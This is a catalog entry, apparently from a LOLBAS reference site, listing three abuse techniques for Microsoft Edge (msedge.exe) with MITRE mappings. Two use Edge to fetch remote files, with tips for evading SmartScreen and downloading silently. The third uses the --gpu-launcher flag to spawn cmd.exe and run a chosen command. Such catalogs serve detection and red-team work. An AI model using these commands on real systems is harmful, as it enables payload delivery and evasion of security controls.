CatalogLOLBAS

LOL · Binary

Msedge.exe

3 techniquesWindowsLOLBASGPL-3.0

Download

File DownloadWindows

Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.

Use Download file from the internet

msedge.exe {REMOTEURL:.exe.txt}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1105

Download

File DownloadWindows

Edge will silently download the file. File extension should be .html and binaries should be encoded.

Use Download file from the internet

msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1105

Execute

ExecutionWindows

Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command

Use Executes a process under a trusted Microsoft signed binary

msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute